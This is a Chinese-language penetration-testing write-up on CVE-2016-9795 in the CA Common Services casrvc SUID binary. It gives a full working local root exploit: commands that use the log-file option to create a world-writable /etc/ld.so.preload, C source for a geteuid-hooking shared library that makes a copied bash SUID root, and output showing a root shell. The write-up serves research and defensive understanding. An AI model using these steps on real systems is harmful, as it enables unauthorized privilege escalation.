在一次渗透测试中,我偶然发现了 casrvc SUID 二进制文件(它是 CA Common Services 套件的一部分)。我发现该二进制文件存在本地权限提升漏洞。事实上,NCC 集团已经将该漏洞归为公开的 CVE(CVE-2016-9795)。
该漏洞非常简单,而且我后来发现,NCC 集团在其 PDF 公告中披露了一个概念验证(Proof-of-Concept):(https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf)。尽管如此,在我进行渗透测试时,我选择了一条不同的利用路径,这条路径首先是一个可行的替代方案,而且如果操作正确,风险可能更低。
漏洞位于 casrvc SUID 二进制文件中,该二进制文件暴露了一个功能,允许用户选择日志文件的文件名(和绝对路径)。该日志文件的一部分内容由用户控制,因此最终这为无特权用户提供了一种或多或少受控的任意写入能力。
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
现有的 PoC 只是将日志输出追加到 /etc/passwd 文件中,以便在 root 组中添加另一个用户条目。向 /etc/passwd 拼接内容有时可能是件冒险的事,而在我的情况下,我想不惜一切代价避免让服务器崩溃。
这种利用技术并不新鲜,许多其他研究人员已经介绍过(包括 @dawid_golunski、@itm4n)。它适用于这个二进制文件,我在此讨论它是出于教育目的。
该方法包括向 /etc/ld.so.preload 文件追加内容或创建该文件。正如 Linux 手册 man ld.so 所述,该文件允许定义每次启动二进制文件时都会加载的库名称列表(每行一个)。
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
这个文件的特殊之处在于,预加载的库会为系统上执行的每个程序加载,包括 SUID 程序。当然,对于任何用户都可以在其会话上下文中设置以预加载库的 "LD_PRELOAD" 环境变量来说,情况并非如此。
为了完全控制所创建文件的内容,我们使用 umask 命令设置文件模式创建掩码。这样,当日志文件被创建时,它将拥有对所有用户的读写权限。
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
我们会尽快清除该文件的内容,因为在执行 casrvc 可执行文件后,文件内容不包含任何有效的 .so 库,每次在计算机上启动程序时都会产生错误消息。
在我们的案例中,umask 技巧有效。但有时,可执行文件会自行设置 umask 值,在这种情况下,我们设置的 umask 值会被覆盖并被忽略。
接下来我们创建一个 .so 文件。以下是这个 .so 文件的源代码。它做了三件事:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
要编译它,我们只需
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
在前面的命令中,我们假定 /tmp 分区不是以 NOEXEC 或 NOSUID 属性挂载的。
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)